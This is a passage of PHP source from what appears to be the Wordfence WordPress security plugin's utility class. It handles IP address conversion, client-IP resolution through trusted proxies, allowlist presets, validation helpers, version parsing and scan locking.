	/**
	 * Return string representation of 32 bit int of the IP address.
	 *
	 * @param string $ip
	 * @return string
	 */
	public static function inet_aton($ip) {
		$ip = preg_replace('/(?<=^|\.)0+([1-9])/', '$1', $ip);
		return sprintf("%u", ip2long($ip));
	}

	/**
	 * Return dot or colon notation of IPv4 or IPv6 address.
	 *
	 * @param string $ip
	 * @return string|bool
	 */
	public static function inet_ntop($ip) {
		// trim this to the IPv4 equiv if it's in the mapped range
		if (strlen($ip) == 16 && substr($ip, 0, 12) == "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff") {
			$ip = substr($ip, 12, 4);
		}
		return self::hasIPv6Support() ? @inet_ntop($ip) : self::_inet_ntop($ip);
	}

	/**
	 * Return the packed binary string of an IPv4 or IPv6 address.
	 *
	 * @param string $ip
	 * @return string
	 */
	public static function inet_pton($ip) {
		// convert the 4 char IPv4 to IPv6 mapped version.
		$pton = str_pad(self::hasIPv6Support() ? @inet_pton($ip) : self::_inet_pton($ip), 16,
			"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x00\x00", STR_PAD_LEFT);
		return $pton;
	}

	/**
	 * Added compatibility for hosts that do not have inet_pton.
	 *
	 * @param $ip
	 * @return bool|string
	 */
	public static function _inet_pton($ip) {
		// IPv4
		if (preg_match('/^(?:\d{1,3}(?:\.|$)){4}/', $ip)) {
			$octets = explode('.', $ip);
			$bin = chr($octets[0]) . chr($octets[1]) . chr($octets[2]) . chr($octets[3]);
			return $bin;
		}

		// IPv6
		if (preg_match('/^((?:[\da-f]{1,4}(?::|)){0,8})(::)?((?:[\da-f]{1,4}(?::|)){0,8})$/i', $ip)) {
			if ($ip === '::') {
				return "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
			}
			$colon_count = substr_count($ip, ':');
			$dbl_colon_pos = strpos($ip, '::');
			if ($dbl_colon_pos !== false) {
				$ip = str_replace('::', str_repeat(':0000',
						(($dbl_colon_pos === 0 || $dbl_colon_pos === strlen($ip) - 2) ? 9 : 8) - $colon_count) . ':', $ip);
				$ip = trim($ip, ':');
			}

			$ip_groups = explode(':', $ip);
			$ipv6_bin = '';
			foreach ($ip_groups as $ip_group) {
				$ipv6_bin .= pack('H*', str_pad($ip_group, 4, '0', STR_PAD_LEFT));
			}

			return strlen($ipv6_bin) === 16 ? $ipv6_bin : false;
		}

		// IPv4 mapped IPv6
		if (preg_match('/^(?:\:(?:\:0{1,4}){0,4}\:|(?:0{1,4}\:){5})ffff\:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/i', $ip, $matches)) {
			$octets = explode('.', $matches[1]);
			return "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff" . chr($octets[0]) . chr($octets[1]) . chr($octets[2]) . chr($octets[3]);
		}

		return false;
	}

	/**
	 * Added compatibility for hosts that do not have inet_ntop.
	 *
	 * @param $ip
	 * @return bool|string
	 */
	public static function _inet_ntop($ip) {
		// IPv4
		if (strlen($ip) === 4) {
			return ord($ip[0]) . '.' . ord($ip[1]) . '.' . ord($ip[2]) . '.' . ord($ip[3]);
		}

		// IPv6
		if (strlen($ip) === 16) {

			// IPv4 mapped IPv6
			if (substr($ip, 0, 12) == "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff") {
				return "::ffff:" . ord($ip[12]) . '.' . ord($ip[13]) . '.' . ord($ip[14]) . '.' . ord($ip[15]);
			}

			$hex = bin2hex($ip);
			$groups = str_split($hex, 4);
			$in_collapse = false;
			$done_collapse = false;
			foreach ($groups as $index => $group) {
				if ($group == '0000' && !$done_collapse) {
					if ($in_collapse) {
						$groups[$index] = '';
						continue;
					}
					$groups[$index] = ':';
					$in_collapse = true;
					continue;
				}
				if ($in_collapse) {
					$done_collapse = true;
				}
				$groups[$index] = ltrim($groups[$index], '0');
				if (strlen($groups[$index]) === 0) {
					$groups[$index] = '0';
				}
			}
			$ip = join(':', array_filter($groups, 'strlen'));
			$ip = str_replace(':::', '::', $ip);
			return $ip == ':' ? '::' : $ip;
		}

		return false;
	}

	/**
	 * Verify PHP was compiled with IPv6 support.
	 *
	 * Some hosts appear to not have inet_ntop, and others appear to have inet_ntop but are unable to process IPv6 addresses.
	 *
	 * @return bool
	 */
	public static function hasIPv6Support() {
		static $hasSupport = null;
		if ($hasSupport === null) {
			$hasSupport = defined('AF_INET6') && self::funcEnabled('inet_ntop') && self::funcEnabled('inet_pton');
		}
		return $hasSupport;
	}

	public static function hasLoginCookie(){
		if(isset($_COOKIE)){
			if(is_array($_COOKIE)){
				foreach($_COOKIE as $key => $val){
					if(strpos($key, 'wordpress_logged_in') === 0){
						return true;
					}
				}
			}
		}
		return false;
	}
	public static function getBaseURL(){
		return plugins_url('', WORDFENCE_FCPATH) . '/';
	}
	public static function getPluginBaseDir(){
		if(function_exists('wp_normalize_path')){ //Older WP versions don't have this func and we had many complaints before this check.
			if(defined('WP_PLUGIN_DIR')) {
				return wp_normalize_path(WP_PLUGIN_DIR . '/');
			}
			return wp_normalize_path(WP_CONTENT_DIR . '/plugins/');
		} else {
			if(defined('WP_PLUGIN_DIR')) {
				return WP_PLUGIN_DIR . '/';
			}
			return WP_CONTENT_DIR . '/plugins/';
		}
	}
	public static function makeRandomIP(){
		return rand(11,230) . '.' . rand(0,255) . '.' . rand(0,255) . '.' . rand(0,255);
	}
	
	/**
	 * Converts a truthy value to a boolean, checking in this order:
	 * - already a boolean
	 * - is null => false
	 * - numeric (0 => false, otherwise true)
	 * - 'false', 'f', 'no', 'n', or 'off' => false
	 * - 'true', 't', 'yes', 'y', or 'on' => true
	 * - empty value => false, otherwise true
	 * 
	 * @param $value
	 * @return bool
	 */
	public static function truthyToBoolean($value) {
		if ($value === true || $value === false) {
			return $value;
		}
		
		if (is_null($value)) {
			return false;
		}
		
		if (is_numeric($value)) {
			return !!$value;
		}
		
		if (preg_match('/^(?:f(?:alse)?|no?|off)$/i', $value)) {
			return false;
		}
		else if (preg_match('/^(?:t(?:rue)?|y(?:es)?|on)$/i', $value)) {
			return true;
		}
		
		return !empty($value);
	}
	
	/**
	 * Converts a truthy value to 1 or 0.
	 * 
	 * @see wfUtils::truthyToBoolean
	 * 
	 * @param $value
	 * @return int
	 */
	public static function truthyToInt($value) {
		return self::truthyToBoolean($value) ? 1 : 0;
	}
	
	/**
	 * Returns the whitelist presets, which first grabs the bundled list and then merges the dynamic list into it.
	 * 
	 * @return array
	 */
	public static function whitelistPresets() {
		static $_cachedPresets = null;
		if ($_cachedPresets === null) {
			include(dirname(__FILE__) . '/wfIPWhitelist.php'); /** @var array $wfIPWhitelist */
			$currentPresets = wfConfig::getJSON('whitelistPresets', array());
			if (is_array($currentPresets)) {
				$_cachedPresets = array_merge($wfIPWhitelist, $currentPresets);
			}
			else {
				$_cachedPresets = $wfIPWhitelist;
			}
		}
		return $_cachedPresets;
	}
	
	/**
	 * Returns an array containing all whitelisted service IPs/ranges. The returned array is grouped by service
	 * tag: array('service1' => array('range1', 'range2', range3', ...), ...)
	 * 
	 * @param array|null $whitelistedServices If provided, use this service list for enabled/disabled resolution
	 * @return array
	 */
	public static function whitelistedServiceIPs($whitelistedServices = null) {
		$result = array();
		$whitelistPresets = self::whitelistPresets();
		if ($whitelistedServices === null) {
			$whitelistedServices = wfConfig::getJSON('whitelistedServices', array());
		}
		foreach ($whitelistPresets as $tag => $preset) {
			if (!isset($preset['n'])) { //Just an array of IPs/ranges
				$result[$tag] = $preset;
				continue;
			}
			
			if ((isset($preset['h']) && $preset['h']) || (isset($preset['f']) && $preset['f'])) { //Forced
				$result[$tag] = $preset['r'];
				continue;
			}
			
			if ((!isset($whitelistedServices[$tag]) && isset($preset['d']) && $preset['d']) || (isset($whitelistedServices[$tag]) && $whitelistedServices[$tag])) {
				$result[$tag] = $preset['r'];
			}
		}
		return $result;
	}

	/**
	 * Get the list of whitelisted IPs and networks, which is a combination of preset IPs/ranges and user-entered
	 * IPs/ranges.
	 *
	 * @param string	$filter	Group name to filter whitelist by
	 * @return array
	 */
	public static function getIPWhitelist($filter = null) {
		static $wfIPWhitelist;

		if (!isset($wfIPWhitelist)) {
			$wfIPWhitelist = self::whitelistedServiceIPs();
			
			//Append user ranges
			$wfIPWhitelist['user'] = array();
			foreach (array_filter(explode(',', wfConfig::get('whitelisted'))) as $ip) {
				$wfIPWhitelist['user'][] = new wfUserIPRange($ip);
			}
		}

		$whitelist = array();
		foreach ($wfIPWhitelist as $group => $values) {
			if ($filter === null || $group === $filter) {
				$whitelist = array_merge($whitelist, $values);
			}
		}

		return $whitelist;
	}

	/**
	 * @param string $addr Should be in dot or colon notation (127.0.0.1 or ::1)
	 * @return bool
	 */
	public static function isPrivateAddress($addr) {
		// Run this through the preset list for IPv4 addresses.
		if (filter_var($addr, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false) {
			foreach (self::getIPWhitelist('private') as $a) {
				if (self::subnetContainsIP($a, $addr)) {
					return true;
				}
			}
		}

		return filter_var($addr, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6) !== false
			&& filter_var($addr, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false;
	}

	/**
	 * Expects an array of items. The items are either IP's or IP's separated by comma, space or tab. Or an array of IP's.
	 * We then examine all IP's looking for a public IP and storing private IP's in an array. If we find no public IPs we return the first private addr we found.
	 *
	 * @param array $arr
	 * @return bool|mixed
	 */
	private static function getCleanIP($arr){
		$privates = array(); //Store private addrs until end as last resort.
		for($i = 0; $i < count($arr); $i++){
			$item = $arr[$i];
			if(is_array($item)){
				foreach($item as $j){
					// try verifying the IP is valid before stripping the port off
					if (!self::isValidIP($j)) {
						$j = preg_replace('/:\d+$/', '', $j); //Strip off port
					}
					if (self::isValidIP($j)) {
						if (self::isPrivateAddress($j)) {
							$privates[] = $j;
						} else {
							return $j;
						}
					}
				}
				continue; //This was an array so we can skip to the next item
			}
			$skipToNext = false;
			foreach(array(',', ' ', "\t") as $char){
				if(strpos($item, $char) !== false){
					$sp = explode($char, $item);
					$sp = array_reverse($sp);
					foreach($sp as $j){
						$j = trim($j);
						if (!self::isValidIP($j)) {
							$j = preg_replace('/:\d+$/', '', $j); //Strip off port
						}
						if(self::isValidIP($j)){
							if(self::isPrivateAddress($j)){
								$privates[] = $j;
							} else {
								return $j;
							}
						}
					}
					$skipToNext = true;
					break;
				}
			}
			if($skipToNext){ continue; } //Skip to next item because this one had a comma, space or tab so was delimited and we didn't find anything.

			if (!self::isValidIP($item)) {
				$item = preg_replace('/:\d+$/', '', $item); //Strip off port
			}
			if(self::isValidIP($item)){
				if(self::isPrivateAddress($item)){
					$privates[] = $item;
				} else {
					return $item;
				}
			}
		}
		if(sizeof($privates) > 0){
			return $privates[0]; //Return the first private we found so that we respect the order the IP's were passed to this function.
		} else {
			return false;
		}
	}

	/**
	 * Expects an array of items. The items are either IP's or IP's separated by comma, space or tab. Or an array of IP's.
	 * We then examine all IP's looking for a public IP and storing private IP's in an array. If we find no public IPs we return the first private addr we found.
	 *
	 * @param array $arr
	 * @return bool|mixed
	 */
	private static function getCleanIPAndServerVar($arr, $trustedProxies = null) {
		$privates = array(); //Store private addrs until end as last resort.
		for($i = 0; $i < count($arr); $i++){
			list($item, $var) = $arr[$i];
			if(is_array($item)){
				foreach($item as $j){
					// try verifying the IP is valid before stripping the port off
					if (!self::isValidIP($j)) {
						$j = preg_replace('/:\d+$/', '', $j); //Strip off port
					}
					if (self::isValidIP($j)) {
						if (self::isIPv6MappedIPv4($j)) {
							$j = self::inet_ntop(self::inet_pton($j));
						}

						if (self::isPrivateAddress($j)) {
							$privates[] = array($j, $var);
						} else {
							return array($j, $var);
						}
					}
				}
				continue; //This was an array so we can skip to the next item
			}
			$skipToNext = false;
			if ($trustedProxies === null) {
				$trustedProxies = self::unifiedTrustedProxies();
			}
			foreach(array(',', ' ', "\t") as $char){
				if(strpos($item, $char) !== false){
					$sp = explode($char, $item);
					$sp = array_reverse($sp);
					foreach($sp as $index => $j){
						$j = trim($j);
						if (!self::isValidIP($j)) {
							$j = preg_replace('/:\d+$/', '', $j); //Strip off port
						}
						if(self::isValidIP($j)){
							if (self::isIPv6MappedIPv4($j)) {
								$j = self::inet_ntop(self::inet_pton($j));
							}
							
							foreach ($trustedProxies as $proxy) {
								if (!empty($proxy)) {
									if (self::subnetContainsIP($proxy, $j) && $index < count($sp) - 1) {
										continue 2;
									}
								}
							}

							if(self::isPrivateAddress($j)){
								$privates[] = array($j, $var);
							} else {
								return array($j, $var);
							}
						}
					}
					$skipToNext = true;
					break;
				}
			}
			if($skipToNext){ continue; } //Skip to next item because this one had a comma, space or tab so was delimited and we didn't find anything.

			if (!self::isValidIP($item)) {
				$item = preg_replace('/:\d+$/', '', $item); //Strip off port
			}
			if(self::isValidIP($item)){
				if (self::isIPv6MappedIPv4($item)) {
					$item = self::inet_ntop(self::inet_pton($item));
				}

				if(self::isPrivateAddress($item)){
					$privates[] = array($item, $var);
				} else {
					return array($item, $var);
				}
			}
		}
		if(sizeof($privates) > 0){
			return $privates[0]; //Return the first private we found so that we respect the order the IP's were passed to this function.
		} else {
			return false;
		}
	}
	
	/**
	 * Returns an array of all trusted proxies, combining both the user-entered ones and those from the selected preset.
	 * 
	 * @return string[]
	 */
	public static function unifiedTrustedProxies() {
		$trustedProxies = explode("\n", wfConfig::get('howGetIPs_trusted_proxies', ''));
		
		$preset = wfConfig::get('howGetIPs_trusted_proxy_preset');
		$presets = wfConfig::getJSON('ipResolutionList', array());
		if (is_array($presets) && isset($presets[$preset])) {
			$testIPs = array_merge($presets[$preset]['ipv4'], $presets[$preset]['ipv6']);
			foreach ($testIPs as $val) {
				if (strlen($val) > 0) {
					if (wfUtils::isValidIP($val) || wfUtils::isValidCIDRRange($val)) {
						$trustedProxies[] = $val;
					}
				}
			}
		}
		return $trustedProxies;
	}

	/**
	 * @param string $ip
	 * @return bool
	 */
	public static function isIPv6MappedIPv4($ip) {
		return preg_match('/^(?:\:(?:\:0{1,4}){0,4}\:|(?:0{1,4}\:){5})ffff\:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/i', $ip) > 0;
	}

	public static function extractHostname($str){
		if(preg_match('/https?:\/\/([a-zA-Z0-9\.\-]+)(?:\/|$)/i', $str, $matches)){
			return strtolower($matches[1]);
		} else {
			return false;
		}
	}
	
	/**
	 * Returns the known server IPs, ordered by those as the best match for outgoing requests.
	 * 
	 * @param bool $refreshCache
	 * @return string[]
	 */
	public static function serverIPs($refreshCache = false) {
		static $cachedServerIPs = null;
		if (isset($cachedServerIPs) && !$refreshCache) {
			return $cachedServerIPs;
		}
		
		$serverIPs = array();
		$storedIP = wfConfig::get('serverIP');
		if (preg_match('/^(\d+);(.+)$/', $storedIP, $matches)) { //Format is 'timestamp;ip'
			$serverIPs[] = $matches[2];
		}
		
		if (function_exists('dns_get_record')) {
			$storedDNS = wfConfig::get('serverDNS');
			$usingCache = false;
			if (preg_match('/^(\d+);(\d+);(.+)$/', $storedDNS, $matches)) { //Format is 'timestamp;ttl;ip'
				$timestamp = $matches[1];
				$ttl = $matches[2];
				if ($timestamp + max($ttl, 86400) > time()) {
					$serverIPs[] = $matches[3];
					$usingCache = true;
				}
			}
			
			if (!$usingCache) {
				$home = get_home_url();
				if (preg_match('/^https?:\/\/([^\/]+)/i', $home, $matches)) {
					$host = strtolower($matches[1]);
					$cnameRaw = @dns_get_record($host, DNS_CNAME);
					$cnames = array();
					$cnamesTargets = array();
					if ($cnameRaw && is_array($cnameRaw)) {
						foreach ($cnameRaw as $elem) {
							if (is_array($elem) && 
								array_key_exists('host', $elem) && 
								array_key_exists('target', $elem) && 
								$elem['host'] == $host
							) {
								$cnames[] = $elem;
								$cnamesTargets[] = $elem['target'];
							}
						}
					}
					
					$aRaw = @dns_get_record($host, DNS_A);
					$a = array();
					if ($aRaw && is_array($aRaw)) {
						foreach ($aRaw as $elem) {
							if (is_array($elem) && 
								array_key_exists('host', $elem) &&
								array_key_exists('ttl', $elem) &&
								array_key_exists('ip', $elem) &&
								($elem['host'] == $host || in_array($elem['host'], $cnamesTargets))
							) {
								$a[] = $elem;
							}
						}
					}
					
					$firstA = wfUtils::array_first($a);
					if ($firstA !== null) {
						$serverIPs[] = $firstA['ip'];
						wfConfig::set('serverDNS', time() . ';' . $firstA['ttl'] . ';' . $firstA['ip']);
					}
				}
			}
		}
		
		if (isset($_SERVER['SERVER_ADDR']) && wfUtils::isValidIP($_SERVER['SERVER_ADDR'])) {
			$serverIPs[] = $_SERVER['SERVER_ADDR'];
		}
		
		$serverIPs = array_unique($serverIPs);
		$cachedServerIPs = $serverIPs;
		return $serverIPs;
	}
	
	public static function getIP($refreshCache = false) {
		static $theIP = null;
		if (isset($theIP) && !$refreshCache) {
			return $theIP;
		}
		//For debugging. 
		//return '54.232.205.132';
		//return self::makeRandomIP();

		// if no REMOTE_ADDR, it's probably running from the command line
		$ip = self::getIPAndServerVariable();
		if (is_array($ip)) {
			list($IP, $variable) = $ip;
			$theIP = $IP;
			return $IP;
		}
		return false;
	}
	
	public static function getIPForField($field, $trustedProxies = null) {
		$ip = self::getIPAndServerVariable($field, $trustedProxies);
		if (is_array($ip)) {
			list($IP, $variable) = $ip;
			return $IP;
		}
		return false;
	}

	public static function getAllServerVariableIPs()
	{
		$variables = array('REMOTE_ADDR', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR');
		$ips = array();

		foreach ($variables as $variable) {
			$ip = isset($_SERVER[$variable]) ? $_SERVER[$variable] : false;

			if ($ip && strpos($ip, ',') !== false) {
				$ips[$variable] = preg_replace('/[\s,]/', '', explode(',', $ip));
			} else {
				$ips[$variable] = $ip;
			}
		}

		return $ips;
	}

	public static function getIPAndServerVariable($howGet = null, $trustedProxies = null) {
		$connectionIP = array_key_exists('REMOTE_ADDR', $_SERVER) ? array($_SERVER['REMOTE_ADDR'], 'REMOTE_ADDR') : array('127.0.0.1', 'REMOTE_ADDR');

		if ($howGet === null) {
			$howGet = wfConfig::get('howGetIPs', false);
		}
		
		if($howGet){
			if($howGet == 'REMOTE_ADDR'){
				return self::getCleanIPAndServerVar(array($connectionIP), $trustedProxies);
			} else {
				$ipsToCheck = array(
					array((isset($_SERVER[$howGet]) ? $_SERVER[$howGet] : ''), $howGet),
					$connectionIP,
				);
				return self::getCleanIPAndServerVar($ipsToCheck, $trustedProxies);
			}
		} else {
			$ipsToCheck = array();
			
			$recommendedField = wfConfig::get('detectProxyRecommendation', ''); //Prioritize the result from our proxy check if done
			if (!empty($recommendedField) && $recommendedField != 'UNKNOWN' && $recommendedField != 'DEFERRED') {
				if (isset($_SERVER[$recommendedField])) {
					$ipsToCheck[] = array($_SERVER[$recommendedField], $recommendedField);
				}
			}
			$ipsToCheck[] = $connectionIP;
			if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
				$ipsToCheck[] = array($_SERVER['HTTP_X_FORWARDED_FOR'], 'HTTP_X_FORWARDED_FOR');
			}
			if (isset($_SERVER['HTTP_X_REAL_IP'])) {
				$ipsToCheck[] = array($_SERVER['HTTP_X_REAL_IP'], 'HTTP_X_REAL_IP');
			}
			return self::getCleanIPAndServerVar($ipsToCheck, $trustedProxies);
		}
		return false; //Returns an array with a valid IP and the server variable, or false.
	}
	public static function getIPPreview($howGet = null, $trustedProxies = null) {
		$ip = self::getIPAndServerVariable($howGet, $trustedProxies);
		if (is_array($ip)) {
			list($IP, $variable) = $ip;
			if (isset($_SERVER[$variable]) && strpos($_SERVER[$variable], ',') !== false) {
				$items = preg_replace('/[\s,]/', '', explode(',', $_SERVER[$variable]));
				$output = '';
				foreach ($items as $i) {
					if ($IP == $i) {
						$output .= ', <strong>' . esc_html($i) . '</strong>';
					}
					else {
						$output .= ', ' . esc_html($i); 
					}
				}
				
				return substr($output, 2);
			}
			return '<strong>' . esc_html($IP) . '</strong>';
		}
		return false;
	}
	public static function isValidIP($IP){
		return filter_var($IP, FILTER_VALIDATE_IP) !== false;
	}
	public static function isValidCIDRRange($range) {
		$components = explode('/', $range);
		if (count($components) != 2) { return false; }
		
		list($ip, $prefix) = $components;
		if (!self::isValidIP($ip)) { return false; }
		
		if (!preg_match('/^\d+$/', $prefix)) { return false; }
		
		if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
			if ($prefix < 0 || $prefix > 32) { return false; }
		}
		else {
			if ($prefix < 1 || $prefix > 128) { return false; }
		}
		
		return true;
	}
	public static function isValidEmail($email, $strict = false) {
		if (empty($email)) {
			return false;
		}
		
		//We don't default to strict, full validation because poorly-configured servers can crash due to the regex PHP uses in filter_var($email, FILTER_VALIDATE_EMAIL)
		if ($strict) {
			return (filter_var($email, FILTER_VALIDATE_EMAIL) !== false);
		}
		
		return preg_match('/^[^@\s]+@[^@\s]+\.[^@\s]+$/i', $email) === 1;
	}
	public static function getRequestedURL() {
		if (isset($_SERVER['HTTP_HOST']) && $_SERVER['HTTP_HOST']) {
			$host = $_SERVER['HTTP_HOST'];
		} else if (isset($_SERVER['SERVER_NAME']) && $_SERVER['SERVER_NAME']) {
			$host = $_SERVER['SERVER_NAME'];
		}
		else {
			return null;
		}
		$prefix = 'http';
		if (is_ssl()) {
			$prefix = 'https';
		}
		return $prefix . '://' . $host . $_SERVER['REQUEST_URI'];
	}

	public static function editUserLink($userID){
		return get_admin_url() . 'user-edit.php?user_id=' . $userID;
	}
	public static function tmpl($file, $data){
		extract($data);
		ob_start();
		include dirname(__FILE__) . DIRECTORY_SEPARATOR . $file;
		return ob_get_contents() . (ob_end_clean() ? "" : "");
	}
	public static function bigRandomHex(){
		return bin2hex(wfWAFUtils::random_bytes(16));
	}
	public static function encrypt($str){
		$key = wfConfig::get('encKey');
		if(! $key){
			wordfence::status(1, 'error', __("Wordfence error: No encryption key found!", 'wordfence'));
			return false;
		}
		$db = new wfDB();
		return $db->querySingle("select HEX(AES_ENCRYPT('%s', '%s')) as val", $str, $key);
	}
	public static function decrypt($str){
		$key = wfConfig::get('encKey');
		if(! $key){
			wordfence::status(1, 'error', __("Wordfence error: No encryption key found!", 'wordfence'));
			return false;
		}
		$db = new wfDB();
		return $db->querySingle("select AES_DECRYPT(UNHEX('%s'), '%s') as val", $str, $key);
	}
	public static function lcmem(){
		$trace=debug_backtrace();
		$caller=array_shift($trace);
		$mem = memory_get_usage(true);
		error_log("$mem at " . $caller['file'] . " line " . $caller['line']);
	}
	public static function logCaller(){
		$trace=debug_backtrace();
		$caller=array_shift($trace);
		$c2 = array_shift($trace);
		error_log("Caller for " . $caller['file'] . " line " . $caller['line'] . " is " . $c2['file'] . ' line ' . $c2['line']);
	}
	public static function getWPVersion($forceRecheck = false){
		if ($forceRecheck) {
			require(ABSPATH . 'wp-includes/version.php'); //defines $wp_version
			return $wp_version;
		}
		
		if(wordfence::$wordfence_wp_version){
			return wordfence::$wordfence_wp_version;
		} else {
			global $wp_version;
			return $wp_version;
		}
	}
	
	public static function parse_version($version, $component = null) {
		$major = 0;
		$minor = 0;
		$patch = 0;
		$prerelease = '';
		$build = '';
		
		if (preg_match('/^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-((?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+([0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$/', $version, $matches)) { //semver
			$major = $matches[1];
			$minor = $matches[2];
			$patch = $matches[3];
			
			if (preg_match('/^([^\+]+)\+(.*)$/', $version, $matches)) {
				$version = $matches[1];
				$build = $matches[2];
			}
			
			if (preg_match('/^([^\-]+)\-(.*)$/', $version, $matches)) {
				$version = $matches[1];
				$prerelease = $matches[2];
			}
		}
		else { //Parse as "PHP-standardized" (see version_compare docs: "The function first replaces _, - and + with a dot . in the version strings and also inserts dots . before and after any non number so that for example '4.3.2RC1' becomes '4.3.2.RC.1'.")
			$version = trim(preg_replace('/\.\.+/', '.', preg_replace('/([^0-9\.]+)/', '.$1.', preg_replace('/[_\-\+]+/', '.', $version))), '.');
			$components = explode('.', $version);
			$i = 0;
			if (isset($components[$i]) && is_numeric($components[$i])) { $major = $components[$i]; $i++; }
			if (isset($components[$i]) && is_numeric($components[$i])) { $minor = $components[$i]; $i++; }
			if (isset($components[$i]) && is_numeric($components[$i])) { $patch = $components[$i]; $i++; }
			while (isset($components[$i]) && is_numeric($components[$i])) {
				if (!empty($build)) {
					$build .= '.';
				}
				$build .= $components[$i];
				$i++;
			}
			while (isset($components[$i])) {
				if (!empty($prerelease)) {
					$prerelease .= '.';
				}
				
				if (preg_match('/^(?:dev|alpha|a|beta|b|rc|#|pl|p)$/i', $components[$i])) {
					$prerelease .= strtolower($components[$i]);
					if (isset($components[$i + 1])) {
						if (!preg_match('/^(?:a|b|rc|#|pl|p)$/i', $components[$i])) {
							$prerelease .= '-';
						}
						$i++;
					}
				}
				
				$prerelease .= $components[$i];
				$i++;
			}
		}
		
		$version = array(
			self::VERSION_MAJOR => $major,
			self::VERSION_MINOR => $minor,
			self::VERSION_PATCH => $patch,
			self::VERSION_PRE_RELEASE => $prerelease,
			self::VERSION_BUILD => $build,
		);
		
		$version = array_filter($version, function($v) {
			return $v !== '';
		});
		
		if ($component === null) {
			return $version;
		}
		else if (isset($version[$component])) {
			return $version[$component];
		}
		
		return null;
	}
	
	public static function isAdminPageMU(){
		if(preg_match('/^[\/a-zA-Z0-9\-\_\s\+\~\!\^\.]*\/wp-admin\/network\//', $_SERVER['REQUEST_URI'])){
			return true;
		}
		return false;
	}
	public static function getSiteBaseURL(){
		return rtrim(site_url(), '/') . '/';
	}
	public static function longestLine($data){
		$lines = preg_split('/[\r\n]+/', $data);
		$max = 0;
		foreach($lines as $line){
			$len = strlen($line);
			if($len > $max){
				$max = $len;
			}
		}
		return $max;
	}
	public static function longestNospace($data){
		$lines = preg_split('/[\r\n\s\t]+/', $data);
		$max = 0;
		foreach($lines as $line){
			$len = strlen($line);
			if($len > $max){
				$max = $len;
			}
		}
		return $max;
	}
	
	/**
	 * Returns the current PHP memory limit in bytes.
	 * 
	 * Note: This is duplicated in wordfence.php to avoid needing to include this class early.
	 * 
	 * @return int
	 */
	public static function memoryLimit() {
		$maxMemory = ini_get('memory_limit');
		if (!(is_string($maxMemory) || is_numeric($maxMemory)) || !preg_match('/^\s*\d+[GMK]?\s*$/i', $maxMemory)) { $maxMemory = '128M'; } //Invalid or unreadable value, default to our minimum
		$last = strtolower(substr($maxMemory, -1));
		$maxMemory = (int) $maxMemory;
		
		if ($last == 'g') { $maxMemory = $maxMemory * 1024 * 1024 * 1024; }
		else if ($last == 'm') { $maxMemory = $maxMemory * 1024 * 1024; }
		else if ($last == 'k') { $maxMemory = $maxMemory * 1024; }
		return floor($maxMemory);
	}
	
	public static function requestMaxMemory() {
		$maxMem = wfConfig::getInt('maxMem', 256);
		if ($maxMem <= 0) {
			$maxMem = 256;
		}
		
		if (self::funcEnabled('memory_get_usage') && self::memoryLimit() < ($maxMem * 1024 * 1024)){
			self::iniSet('memory_limit', $maxMem . 'M');
		}
	}
	
	public static function isAdmin($user = false){
		if($user){
			if(is_multisite()){
				if(user_can($user, 'manage_network')){
					return true;
				}
			} else {
				if(user_can($user, 'manage_options')){
					return true;
				}
			}
		} else {
			if(is_multisite()){
				if(current_user_can('manage_network')){
					return true;
				}
			} else {
				if(current_user_can('manage_options')){
					return true;
				}
			}
		}
		return false;
	}
	public static function hasTwoFactorEnabled($user = false) {
		if (!$user) {
			$user = get_user_by('ID', get_current_user_id());
		}
		
		if (!$user) {
			return false;
		}
		
		$twoFactorUsers = wfConfig::get_ser('twoFactorUsers', array());
		$hasActivatedTwoFactorUser = false;
		foreach ($twoFactorUsers as &$t) {
			if ($t[3] == 'activated') {
				$userID = $t[0];
				if ($userID == $user->ID && wfUtils::isAdmin($user)) {
					$hasActivatedTwoFactorUser = true;
				}
			}
		}
		
		return $hasActivatedTwoFactorUser;
	}
	public static function isWindows(){
		if(! self::$isWindows){
			if(preg_match('/^win/i', PHP_OS)){
				self::$isWindows = 'yes';
			} else {
				self::$isWindows = 'no';
			}
		}
		return self::$isWindows == 'yes' ? true : false;
	}
	public static function cleanupOneEntryPerLine($string) {
		$string = !is_string($string) ? '' : $string;
		$string = str_replace(",", "\n", $string); // fix old format
		return implode("\n", array_unique(array_filter(array_map('trim', explode("\n", $string)))));
	}

	public static function afterProcessingFile() {
		if (wfScanner::shared()->useLowResourceScanning()) {
			usleep(10000); //10 ms
		}
	}

	public static function getScanLock(){
		//Windows does not support non-blocking flock, so we use time.
		$scanRunning = wfConfig::get('wf_scanRunning');
		if($scanRunning && time() - $scanRunning < WORDFENCE_MAX_SCAN_LOCK_TIME){
			return false;
		}
		wfConfig::set('wf_scanRunning', time());
		return true;
	}
	public static function clearScanLock(){
		global $wpdb;
		$wfdb = new wfDB();
		$wfdb->truncate(wfDB::networkTable('wfHoover'));

		wfConfig::set('wf_scanRunning', '');
		wfIssues::updateScanStillRunning(false);
		if (wfCentral::isConnected()) {
			wfCentral::updateScanStatus();
		}
	}
	public static function getIPGeo($IP){ //Works with int or dotted

		$locs = self::getIPsGeo(array($IP));
		if(isset($locs[$IP])){
			return $locs[$IP];
		} else {
			return false;
		}
	}
	public static function getIPsGeo($IPs){ //works with int or dotted. Outputs same format it receives.
		$IPs = array_unique($IPs);
		$toResolve = array();
		$db = new wfDB();
